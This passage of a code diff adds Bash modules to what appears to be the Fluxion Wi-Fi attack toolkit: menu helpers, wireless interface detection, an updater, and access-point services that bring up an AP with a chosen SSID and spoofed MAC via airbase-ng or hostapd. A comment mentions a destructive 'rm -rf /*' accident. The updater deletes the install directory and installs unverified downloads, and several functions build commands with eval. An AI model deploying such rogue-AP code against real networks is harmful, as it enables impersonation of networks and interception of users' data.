local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]}
|
||||
|
||||
for ((__io_output_format_fields__i = 0; __io_output_format_fields__i < __io_output_format_fields__record_count; __io_output_format_fields__i++)); do
|
||||
local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$(
|
||||
seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count
|
||||
)"[$__io_output_format_fields__i]}\""
|
||||
eval "printf \"$2\" $__io_output_format_fields__values > $1"
|
||||
done
|
||||
}
|
||||
|
||||
io_query_format_fields() {
|
||||
# Assure we've got required parameters.
|
||||
if [ ${#@} -lt 2 ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
local __io_query_format_fields__argument_count=${#@}
|
||||
|
||||
local __io_query_format_fields__query="$1"
|
||||
local __io_query_format_fields__format="$2"
|
||||
|
||||
# Load locally by indirect expansion, ${! ... },
|
||||
# and mangle the variable number argument arrays.
|
||||
local __io_query_format_fields__i
|
||||
for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do
|
||||
eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")"
|
||||
done
|
||||
|
||||
local __io_query_format_fields__record_count=${#__io_query_format_fields__f3[@]}
|
||||
local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count))
|
||||
|
||||
if [ ! -z "$1" ]; then
|
||||
if [ "$(type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s'))" = "function" ]; then $IOUtilsHeader
|
||||
else echo -e "$IOUtilsHeader"; fi
|
||||
|
||||
echo -e "$__io_query_format_fields__query"
|
||||
echo
|
||||
fi
|
||||
|
||||
io_output_format_fields /dev/stdout "$__io_query_format_fields__format" __io_query_format_fields__indexes[@] ${@:3}
|
||||
|
||||
echo
|
||||
|
||||
io_input_choice __io_query_format_fields__indexes[@]
|
||||
|
||||
IOQueryFormatFields=()
|
||||
for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do
|
||||
eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}"
|
||||
done
|
||||
}
|
||||
|
||||
io_query_choice() {
|
||||
# Assure we've got required parameters.
|
||||
if [ ${#@} -lt 2 ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
__io_query_choice__query=$([ -z "$1" ] && echo -n "" || echo -ne "$FLUXIONVLine $1\n")
|
||||
io_query_format_fields "$__io_query_choice__query" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %b\n" $2
|
||||
|
||||
IOQueryChoice="${IOQueryFormatFields[0]}"
|
||||
}
|
||||
|
||||
io_query_file() {
|
||||
if [ ${#@} -lt 2 ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
local __io_query_file__options
|
||||
|
||||
# List a line per line and redirect output.
|
||||
# readarray __io_query_file__options < $2
|
||||
mapfile __io_query_file__options <$2
|
||||
|
||||
# Strip newline characters from array elements
|
||||
__io_query_file__options=("${__io_query_file__options[@]/$'\n'/}")
|
||||
|
||||
io_query_choice "$1" __io_query_file__options[@]
|
||||
|
||||
IOQueryFile=$IOQueryChoice
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,182 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
#if [ "$InterfaceUtilsVersion" ]; then return 0; fi
|
||||
#readonly InterfaceUtilsVersion="1.0"
|
||||
|
||||
# The methods used in this script are taken from airmon-ng.
|
||||
# This is all thanks for the airmon-ng authors, thanks guys.
|
||||
InterfaceUtilsOutputDevice="/dev/stdout"
|
||||
|
||||
if [ -d /sys/bus/usb ] # && hash lsusb;
|
||||
then InterfaceUSBBus=1
|
||||
fi
|
||||
|
||||
if [ -d /sys/bus/pci -o -d /sys/bus/pci_express -o -d /proc/bus/pci ] # && hash lspci;
|
||||
then InterfacePCIBus=1
|
||||
fi
|
||||
|
||||
# Checks if the interface belongs to a physical device.
|
||||
function interface_is_real() {
|
||||
test -d /sys/class/net/$1/device
|
||||
return $?
|
||||
}
|
||||
|
||||
# Checks if the interface belongs to a wireless device.
|
||||
function interface_is_wireless() {
|
||||
grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent
|
||||
return $?
|
||||
}
|
||||
|
||||
# Returns an array of absolutely all interfaces.
|
||||
# Notice: That includes interfaces such as the loopback interface.
|
||||
function interface_list_all() {
|
||||
InterfaceListAll=(/sys/class/net/*)
|
||||
InterfaceListAll=("${InterfaceListAll[@]//\/sys\/class\/net\//}")
|
||||
}
|
||||
|
||||
# Returns an array of interfaces pertaining to a physical device.
|
||||
function interface_list_real() {
|
||||
InterfaceListReal=()
|
||||
interface_list_all
|
||||
local __interface_list_real__candidate
|
||||
for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do
|
||||
if interface_is_real $__interface_list_real__candidate; then InterfaceListReal+=("$__interface_list_real__candidate")
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# Returns an array of interfaces pertaining to a wireless device.
|
||||
function interface_list_wireless() {
|
||||
InterfaceListWireless=()
|
||||
interface_list_all
|
||||
local __interface_list_wireless__candidate
|
||||
for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do
|
||||
if interface_is_wireless $__interface_list_wireless__candidate; then InterfaceListWireless+=("$__interface_list_wireless__candidate")
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
function interface_driver() {
|
||||
InterfaceDriver=$(basename $(readlink /sys/class/net/$1/device/driver))
|
||||
}
|
||||
|
||||
function interface_physical() {
|
||||
if [ ! "$1" ]; then return 1; fi
|
||||
|
||||
unset InterfacePhysical
|
||||
|
||||
local -r interface_physical_path="/sys/class/net/$1/phy80211"
|
||||
|
||||
if [ -d "$interface_physical_path" ]; then
|
||||
if [ -r "$interface_physical_path/name" ]; then InterfacePhysical="$(cat "$interface_physical_path/name")"
|
||||
fi
|
||||
if [ ! "${InterfacePhysical// /}" ]; then InterfacePhysical="$(ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ ! "$InterfacePhysical" ]; then return 2; fi
|
||||
}
|
||||
|
||||
function interface_hardware() {
|
||||
if [ ! "$1" ]; then return 1; fi
|
||||
|
||||
local __interface_hardware__device="/sys/class/net/$1/device"
|
||||
local __interface_hardware__hwinfo="$__interface_hardware__device/modalias"
|
||||
|
||||
InterfaceHardwareBus="$(cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2>$InterfaceUtilsOutputDevice)"
|
||||
|
||||
case "$InterfaceHardwareBus" in
|
||||
"usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk).
|
||||
InterfaceHardwareID="$(cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/')"
|
||||
;;
|
||||
"pci" | "pcmcia" | "sdio")
|
||||
InterfaceHardwareID="$(cat "$__interface_hardware__device/vendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/device" 2>$InterfaceUtilsOutputDevice)"
|
||||
;;
|
||||
default) # The following will only work for USB devices.
|
||||
InterfaceHardwareID="$(cat "$__interface_hardware__device/idVendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/idProduct" 2>$InterfaceUtilsOutputDevice)"
|
||||
InterfaceHardwareBus="usb"
|
||||
;; # This will be reset below if InterfaceHardwareID is invalid.
|
||||
esac
|
||||
|
||||
# Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it.
|
||||
if echo "$InterfaceHardwareID" | egrep -q "^:|:$"; then
|
||||
unset InterfaceHardwareID
|
||||
unset InterfaceHardwareBus
|
||||
return 2
|
||||
else
|
||||
# Remove any extraneous hex markers.
|
||||
InterfaceHardwareID=${InterfaceHardwareID//0x/}
|
||||
fi
|
||||
}
|
||||
|
||||
function interface_chipset() {
|
||||
if [ ! "$1" ]; then return 1; fi
|
||||
|
||||
if ! interface_hardware "$1"; then return 2; fi
|
||||
|
||||
case "$InterfaceHardwareBus" in
|
||||
"usb")
|
||||
if [ ! "$InterfaceUSBBus" ]; then return 3; fi
|
||||
InterfaceChipset="$(lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
|
||||
;;
|
||||
"pci" | "pcmcia")
|
||||
if [ ! "$InterfacePCIBus" ]; then return 4; fi
|
||||
InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
|
||||
;;
|
||||
"sdio")
|
||||
if [[ "${InterfaceHardwareID,,}" == "0x02d0"* ]]; then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7})
|
||||
else InterfaceChipset="Unknown chipset for SDIO device."
|
||||
fi
|
||||
;;
|
||||
default)
|
||||
InterfaceChipset="Unknown device chipset & device bus."
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
function interface_state() {
|
||||
if [ ! "$1" ]; then return 1; fi
|
||||
local __interface_state__stateFile="/sys/class/net/$1/operstate"
|
||||
|
||||
if [ ! -f "$__interface_state__stateFile" ]; then return 2; fi
|
||||
InterfaceState=$(cat "$__interface_state__stateFile")
|
||||
}
|
||||
|
||||
function interface_set_state() {
|
||||
if [ "${#@}" -ne 2 ]; then return 1; fi
|
||||
# TODO: Add alternatives to 'ip' in case of failure.
|
||||
ip link set "$1" "$2"
|
||||
return $?
|
||||
}
|
||||
|
||||
function interface_set_mode() {
|
||||
if [ "${#@}" -ne 2 ]; then return 1; fi
|
||||
if ! interface_set_state "$1" "down"; then return 2; fi
|
||||
if ! iw dev "$1" set type "$2" &> $InterfaceUtilsOutputDevice; then
|
||||
if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice
|
||||
then return 3
|
||||
fi
|
||||
fi
|
||||
if ! interface_set_state "$1" "up"; then return 4; fi
|
||||
}
|
||||
|
||||
function interface_reidentify() {
|
||||
if [ ${#@} -ne 2 ]; then return 1; fi
|
||||
|
||||
local -r __interface_reidentify__oldIdentifier=$1
|
||||
local -r __interface_reidentify__newIdentifier=$2
|
||||
|
||||
if [[ $__interface_reidentify__newIdentifier == *" "* ]]
|
||||
then return 2
|
||||
fi
|
||||
|
||||
if ! interface_set_state $__interface_reidentify__oldIdentifier down
|
||||
then return 3
|
||||
fi
|
||||
|
||||
# TODO: Add alternatives to 'ip' in case of failure.
|
||||
ip link set $__interface_reidentify__oldIdentifier name $__interface_reidentify__newIdentifier
|
||||
return $?
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,37 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ "$SandboxUtilsVersion" ]; then return 0; fi
|
||||
readonly SandboxUtilsVersion="1.0"
|
||||
|
||||
SandboxWorkspacePath="/tmp/sandbox"
|
||||
SandboxOutputDevice="/dev/stdout"
|
||||
|
||||
# After changing global identifiers in the main script,
|
||||
# I forgot to update the identifiers here, leading to a
|
||||
# horrific accident where the script ended and executed
|
||||
# the command "rm -rf /*" ... yeah, fuck that...
|
||||
# Spent an entire day retreiving all my shit back.
|
||||
function sandbox_remove_workfile() {
|
||||
# Check we've got the environment variables ready.
|
||||
if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then
|
||||
echo "The workspace path, or the output device is missing." >$SandboxOutputDevice
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Check we're actually deleting a workfile.
|
||||
if [[ "$1" != $SandboxWorkspacePath* ]]; then
|
||||
echo "Stopped an attempt to delete non-workfiles." >$SandboxOutputDevice
|
||||
return 2
|
||||
fi
|
||||
|
||||
# Attempt to remove iff it exists.
|
||||
#if [ ! -e "$1" -a "$1" != *"/"*"*" ]; then
|
||||
# echo "Stopped an attempt to delete non-existent files" > $SandboxOutputDevice
|
||||
# return 3;
|
||||
#fi
|
||||
|
||||
# Remove the target file (do NOT force it).
|
||||
eval "rm -r $1 &> $SandboxOutputDevice"
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
# ================================================================
|
||||
# Configuration Section
|
||||
# ================================================================
|
||||
#APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||
# ================================================================
|
||||
|
||||
#if [ "$APServiceVersion" ]; then return 0; fi
|
||||
#readonly APServiceVersion="1.0"
|
||||
|
||||
function ap_service_stop() {
|
||||
if [ "$APServicePID" ]; then
|
||||
kill $APServicePID &> $FLUXIONOutputDevice
|
||||
fi
|
||||
|
||||
APServicePID=""
|
||||
}
|
||||
|
||||
function ap_service_reset() {
|
||||
ap_service_stop
|
||||
|
||||
APServiceAccessInterface=""
|
||||
|
||||
APServiceChannel=""
|
||||
APServiceMAC=""
|
||||
APServiceSSID=""
|
||||
APServiceInterfaceAddress=""
|
||||
APServiceInterface=""
|
||||
}
|
||||
|
||||
function ap_service_route() {
|
||||
local networkSubnet=${APServiceInterfaceAddress%.*}
|
||||
local networkAddress=$(( ( ${APServiceInterfaceAddress##*.} + 1 ) % 255 ))
|
||||
|
||||
if [ $hostID -eq 0 ]; then
|
||||
let hostID++
|
||||
fi
|
||||
|
||||
# TODO: Dynamically get the airbase-ng tap interface & use below.
|
||||
# WARNING: Notice the interface below is STATIC, it'll break eventuajly!
|
||||
if ! ip addr add "at0" $networkSubnet.$networkAddress/24; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
if ! sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice; then
|
||||
return 2
|
||||
fi
|
||||
}
|
||||
|
||||
function ap_service_prep() {
|
||||
if [ ${#@} -lt 5 ]; then return 1; fi
|
||||
|
||||
APServiceInterface=$1
|
||||
APServiceInterfaceAddress=$2
|
||||
APServiceSSID=$3
|
||||
APServiceMAC=$4
|
||||
APServiceChannel=$5
|
||||
|
||||
ap_service_stop
|
||||
|
||||
# Spoof virtual interface MAC address.
|
||||
# This is done by airbase-ng automatically.
|
||||
|
||||
# airbase-ng uses a monitor-mode virtual interface
|
||||
# and creates a separate interface, atX, for dhcpd.
|
||||
APServiceAccessInterface="at0"
|
||||
}
|
||||
|
||||
function ap_service_start() {
|
||||
ap_service_stop
|
||||
|
||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
|
||||
-title "FLUXION AP Service [airbase-ng]" -e \
|
||||
airbase-ng -P -e $APServiceSSID -c $APServiceChannel \
|
||||
-a $APServiceMAC $APServiceInterface &
|
||||
local parentPID=$!
|
||||
|
||||
# Wait till airebase-ng starts and creates the extra virtual interface.
|
||||
while [ ! "$APServicePID" ]; do
|
||||
sleep 1
|
||||
APServicePID=$(pgrep -P $parentPID)
|
||||
done
|
||||
|
||||
ap_service_route
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,98 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
# ================================================================
|
||||
# Configuration Section
|
||||
# ================================================================
|
||||
APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||
# ================================================================
|
||||
|
||||
#if [ "$APServiceVersion" ]; then return 0; fi
|
||||
#readonly APServiceVersion="1.0"
|
||||
|
||||
function ap_service_stop() {
|
||||
if [ "$APServicePID" ]; then
|
||||
kill $APServicePID &> $FLUXIONOutputDevice
|
||||
fi
|
||||
|
||||
APServicePID=""
|
||||
}
|
||||
|
||||
function ap_service_reset() {
|
||||
ap_service_stop
|
||||
|
||||
# Reset MAC address to original.
|
||||
ip link set $APServiceInterface down
|
||||
sleep 0.25
|
||||
|
||||
macchanger -p $APServiceInterface &> $FLUXIONOutputDevice
|
||||
sleep 0.25
|
||||
|
||||
ip link set $APServiceInterface up
|
||||
sleep 0.25
|
||||
|
||||
APServiceAccessInterface=""
|
||||
|
||||
APServiceChannel=""
|
||||
APServiceMAC=""
|
||||
APServiceSSID=""
|
||||
APServiceInterfaceAddress=""
|
||||
APServiceInterface=""
|
||||
|
||||
}
|
||||
|
||||
function ap_service_route() {
|
||||
echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice
|
||||
}
|
||||
|
||||
function ap_service_prep() {
|
||||
if [ ${#@} -lt 5 ]; then return 1; fi
|
||||
|
||||
APServiceInterface=$1
|
||||
APServiceInterfaceAddress=$2
|
||||
APServiceSSID=$3
|
||||
APServiceMAC=$4
|
||||
APServiceChannel=$5
|
||||
|
||||
ap_service_stop
|
||||
|
||||
# Prepare the hostapd config file.
|
||||
echo "\
|
||||
interface=$APServiceInterface
|
||||
driver=nl80211
|
||||
ssid=$APServiceSSID
|
||||
channel=$APServiceChannel" \
|
||||
> "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf"
|
||||
|
||||
# Spoof virtual interface MAC address.
|
||||
ip link set $APServiceInterface down
|
||||
sleep 0.5
|
||||
|
||||
macchanger --mac=$APServiceMAC $APServiceInterface &> $FLUXIONOutputDevice
|
||||
sleep 0.5
|
||||
|
||||
ip link set $APServiceInterface up
|
||||
sleep 0.5
|
||||
|
||||
# HostAPD sets the virtual interface mode
|
||||
# to master, which is supported by dhcpd.
|
||||
APServiceAccessInterface=$APServiceInterface
|
||||
}
|
||||
|
||||
function ap_service_start() {
|
||||
ap_service_stop
|
||||
|
||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
|
||||
-title "FLUXION AP Service [hostapd]" -e \
|
||||
hostapd "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" &
|
||||
local parentPID=$!
|
||||
|
||||
# Wait till hostapd has started and its virtual interface is ready.
|
||||
while [ ! "$APServicePID" ]; do
|
||||
sleep 1
|
||||
APServicePID=$(pgrep -P $parentPID)
|
||||
done
|
||||
|
||||
ap_service_route
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,293 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ "$InstallerUtilsVersion" ]; then return 0; fi
|
||||
readonly InstallerUtilsVersion="1.0"
|
||||
|
||||
InstallerUtilsWorkspacePath="/tmp/verspace"
|
||||
|
||||
InstallerUtilsOutputDevice="/dev/stdout"
|
||||
|
||||
InstallerUtilsNoticeMark="*"
|
||||
|
||||
PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log"
|
||||
|
||||
installer_utils_run_spinner() {
|
||||
local pid=$1
|
||||
local delay=0.15
|
||||
local spinstr="|/-\\"
|
||||
|
||||
tput civis
|
||||
while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
|
||||
local temp=${spinstr#?}
|
||||
printf " [%c] " "$spinstr"
|
||||
local spinstr=$temp${spinstr%"$temp"}
|
||||
sleep $delay
|
||||
printf "\b\b\b\b\b\b"
|
||||
done
|
||||
|
||||
printf " \b\b\b\b"
|
||||
tput cnorm
|
||||
}
|
||||
|
||||
# Pamaters:
|
||||
# $1 source - Online Info File (text)
|
||||
# $2 version regex - Online version (regex)
|
||||
# $3 revision regex - Online version (regex)
|
||||
installer_utils_check_version() {
|
||||
if [ ${#@} -ne 3 ]; then return 1; fi
|
||||
|
||||
# Attempt to retrieve versioning information from repository script.
|
||||
local -r __installer_utils_check_version__info=$(timeout -s SIGTERM 20 curl "$1" 2>/dev/null)
|
||||
|
||||
local -r __installer_utils_check_version__onlineVersion=$(
|
||||
echo "$__installer_utils_check_version__info" | egrep "$2" | egrep -o "[0-9]+")
|
||||
local -r __installer_utils_check_version__onlineRevision=$(
|
||||
echo "$__installer_utils_check_version__info" | egrep "$3" | egrep -o "[0-9]+")
|
||||
|
||||
if [ "$__installer_utils_check_version__onlineVersion" ] && \
|
||||
[ "$__installer_utils_check_version__onlineRevision" ]; then
|
||||
echo "$__installer_utils_check_version__onlineVersion" > \
|
||||
"$InstallerUtilsWorkspacePath/latest_version"
|
||||
echo "$__installer_utils_check_version__onlineRevision" >> \
|
||||
"$InstallerUtilsWorkspacePath/latest_version"
|
||||
fi
|
||||
}
|
||||
|
||||
# Pamaters:
|
||||
# $1 source - Online Info File (text)
|
||||
# $2 version regex - Online version (regex)
|
||||
# $3 version local - Local version (number)
|
||||
# $4 revision regex - Online version (regex)
|
||||
# $5 revision local - Local version (number)
|
||||
installer_utils_check_update() {
|
||||
# The following set of statements aren't very generic, need to be refactored.
|
||||
local versionDialog="Online Version"
|
||||
local versionDialogOffset=$(($(tput cols) / 2 + ((${#versionDialog} / 2) - 4)))
|
||||
printf "%${versionDialogOffset}s" "$versionDialog"
|
||||
|
||||
installer_utils_check_version "${@:1:3}" &
|
||||
installer_utils_run_spinner "$!" # This should be done externally (refactored).
|
||||
|
||||
local __installer_utils_check_update__localVersion=$4
|
||||
local __installer_utils_check_update__localRevision=$5
|
||||
local __installer_utils_check_update__version="?"
|
||||
local __installer_utils_check_update__revision="?"
|
||||
|
||||
if [ -f "$InstallerUtilsWorkspacePath/latest_version" -a \
|
||||
-s "$InstallerUtilsWorkspacePath/latest_version" ]; then
|
||||
local __installer_utils_check_update__vInfo
|
||||
mapfile -tn 2 __installer_utils_check_update__vInfo < \
|
||||
"$InstallerUtilsWorkspacePath/latest_version"
|
||||
|
||||
sandbox_remove_workfile "$InstallerUtilsWorkspacePath/latest_version"
|
||||
|
||||
__installer_utils_check_update__version=${__installer_utils_check_update__vInfo[0]}
|
||||
__installer_utils_check_update__revision=${__installer_utils_check_update__vInfo[1]}
|
||||
fi
|
||||
|
||||
echo -e "$CClr [$__installer_utils_check_update__version.$__installer_utils_check_update__revision$CClr]"
|
||||
|
||||
if [ \
|
||||
"$__installer_utils_check_update__version" != "?" -a \
|
||||
"$__installer_utils_check_update__revision" != "?" ]; then
|
||||
if [ \
|
||||
"$__installer_utils_check_update__version" -gt \
|
||||
"$__installer_utils_check_update__localVersion" -o \
|
||||
"$__installer_utils_check_update__version" -eq \
|
||||
"$__installer_utils_check_update__localVersion" -a \
|
||||
"$__installer_utils_check_update__revision" -gt \
|
||||
"$__installer_utils_check_update__localRevision" ]; then
|
||||
format_center_literals "[${CBGrn}A newer version has been found!$CClr]"
|
||||
echo
|
||||
echo -e "$FormatCenterLiterals"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
return 1 # Failure
|
||||
}
|
||||
|
||||
# Parameters: $1 - Update source (zip) $2 - Backup file name $3 - Update output
|
||||
installer_utils_run_update() {
|
||||
if [ ${#@} -ne 3 ]; then return 1; fi
|
||||
|
||||
local __installer_utils_run_update__source="$1"
|
||||
local __installer_utils_run_update__backup="$2"
|
||||
local __installer_utils_run_update__output="$3"
|
||||
|
||||
format_center_literals "Press$CYel Y$CClr /$CYel enter$CClr to update, anything else to skip."
|
||||
echo -e "$FormatCenterLiterals"
|
||||
|
||||
tput civis
|
||||
local __installer_utils_run_update__option
|
||||
read -N1 __installer_utils_run_update__option
|
||||
tput cnorm
|
||||
|
||||
# If the user doesn't want to upgrade, stop this procedure.
|
||||
if [ \
|
||||
"${__installer_utils_run_update__option-}" != $'\n' -a \
|
||||
"${__installer_utils_run_update__option^}" != "Y" ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-$(date +%F_%T)"
|
||||
local __installer_utils_run_update__backupPath="$(dirname $__installer_utils_run_update__output)/$__installer_utils_run_update__backupFile.7z"
|
||||
|
||||
# If a file with the backup name already exists, abort.
|
||||
if [ -f "$__installer_utils_run_update__backupPath" ]; then
|
||||
format_center_literals "[${CRed}Can't overwite existing file!$CClr]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
sleep 3
|
||||
return 2
|
||||
fi
|
||||
|
||||
format_center_literals "[ ~ Creating Backup ~ ]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
echo
|
||||
|
||||
7zr a "$__installer_utils_run_update__backupPath" \
|
||||
"$__installer_utils_run_update__output" &> $InstallerUtilsOutputDevice
|
||||
|
||||
format_center_literals "[ ~ Downloading Update ~ ]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
echo
|
||||
if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then
|
||||
format_center_literals "[ ~ ${CRed}Download Failed$CClr ~ ]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
echo
|
||||
sleep 3
|
||||
return 3
|
||||
fi
|
||||
|
||||
format_center_literals "[ ~ Verifying Download ~ ]"
|
||||
echo
|
||||
if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip" &> \
|
||||
$InstallerUtilsOutputDevice; then
|
||||
format_center_literals "[ ~ ${CRed}Download Appears Corrupted$CClr ~ ]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
sleep 3
|
||||
return 4
|
||||
fi
|
||||
|
||||
format_center_literals "[ ~ Extracting Files ~ ]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
echo
|
||||
mkdir "$InstallerUtilsWorkspacePath/update_contents"
|
||||
unzip "$InstallerUtilsWorkspacePath/update.zip" \
|
||||
-d "$InstallerUtilsWorkspacePath/update_contents" &> \
|
||||
$InstallerUtilsOutputDevice
|
||||
|
||||
if [ ! -d "$__installer_utils_run_update__output" ]; then
|
||||
if ! mkdir -p "$__installer_utils_run_update__output"; then
|
||||
format_center_literals "[ ~ ${CRed}Failed To Create Destination Directory$CClr ~ ]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
echo
|
||||
sleep 3
|
||||
return 5
|
||||
fi
|
||||
fi
|
||||
|
||||
format_center_literals "[ ~ Moving Files ~ ]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
echo
|
||||
|
||||
# Delete all contents of previous installation.
|
||||
$(cd "$__installer_utils_run_update__output"; rm -rf *)
|
||||
|
||||
mv "$InstallerUtilsWorkspacePath"/update_contents/*/* \
|
||||
"$__installer_utils_run_update__output"
|
||||
|
||||
format_center_literals "[ ~ ${CSGrn}Update Completed$CClr ~ ]"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
echo
|
||||
sleep 5
|
||||
}
|
||||
|
||||
# Parameters: $1 - CLI Tools required array $2 - CLI Tools missing array (will be populated)
|
||||
installer_utils_check_dependencies() {
|
||||
if [ ! "$1" ]; then return 1; fi
|
||||
|
||||
local __installer_utils_check_dependencies__CLIToolsInfo=("${!1}")
|
||||
InstallerUtilsCheckDependencies=()
|
||||
|
||||
local __installer_utils_check_dependencies__CLIToolInfo
|
||||
for __installer_utils_check_dependencies__CLIToolInfo in "${__installer_utils_check_dependencies__CLIToolsInfo[@]}"; do
|
||||
local __installer_utils_check_dependencies__CLITool=${__installer_utils_check_dependencies__CLIToolInfo/:*/}
|
||||
local __installer_utils_check_dependencies__identifier="$(printf "%-44s" "$__installer_utils_check_dependencies__CLITool")"
|
||||
local __installer_utils_check_dependencies__state=".....$CGrn OK.$CClr"
|
||||
|
||||
if ! hash "$__installer_utils_check_dependencies__CLITool" 2>/dev/null; then
|
||||
__installer_utils_check_dependencies__state="$CRed Missing!$CClr"
|
||||
InstallerUtilsCheckDependencies+=("$__installer_utils_check_dependencies__CLIToolInfo")
|
||||
fi
|
||||
|
||||
format_center_literals "$InstallerUtilsNoticeMark ${__installer_utils_check_dependencies__identifier// /.}$__installer_utils_check_dependencies__state"
|
||||
echo -e "$FormatCenterLiterals"
|
||||
done
|
||||
|
||||
if [ ${#InstallerUtilsCheckDependencies[@]} -gt 0 ]; then return 2; fi
|
||||
}
|
||||
|
||||
# Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array
|
||||
installer_utils_run_dependencies() {
|
||||
if [ ! "$1" ]; then return 1; fi
|
||||
if ! ping -q -w 1 -c 1 8.8.8.8 &> /dev/null; then
|
||||
format_center_literals "[${CRed}!$CClr] ${CBYel}No internet connection found!$CClr"
|
||||
echo -e "\n\n$FormatCenterLiterals"
|
||||
|
||||
format_center_literals "[ ${CSRed}CANNOT CONTINUE${CClr} ]"
|
||||
echo -e "$FormatCenterLiterals"; sleep 3
|
||||
|
||||
return 3
|
||||
fi
|
||||
|
||||
# The array below holds all the packages that will be installed.
|
||||
local __installer_utils_run_dependencies__dependenciesInfo=("${!1}")
|
||||
|
||||
local __installer_utils_run_dependencies__managers=("$FLUXIONLibPath/installer/managers/"*)
|
||||
|
||||
local __installer_utils_run_dependencies__manager
|
||||
for __installer_utils_run_dependencies__manager in "${__installer_utils_run_dependencies__managers[@]}"; do
|
||||
source "$__installer_utils_run_dependencies__manager"
|
||||
if [ "$PackageManagerCLT" ]; then break; fi
|
||||
done
|
||||
|
||||
if [ ! "$PackageManagerCLT" ]; then
|
||||
format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr";echo
|
||||
sleep 3
|
||||
return 2
|
||||
fi
|
||||
|
||||
check_package_manager
|
||||
prep_package_manager
|
||||
|
||||
unset __installer_utils_run_dependencies__installerStatus
|
||||
|
||||
for __installer_utils_run_dependencies__dependencyInfo in "${__installer_utils_run_dependencies__dependenciesInfo[@]}"; do
|
||||
local __installer_utils_run_dependencies__target=${__installer_utils_run_dependencies__dependencyInfo/:*/}
|
||||
local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/}
|
||||
unset __installer_utils_run_dependencies__packageStatus
|
||||
|
||||
local __installer_utils_run_dependencies__package
|
||||
for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do
|
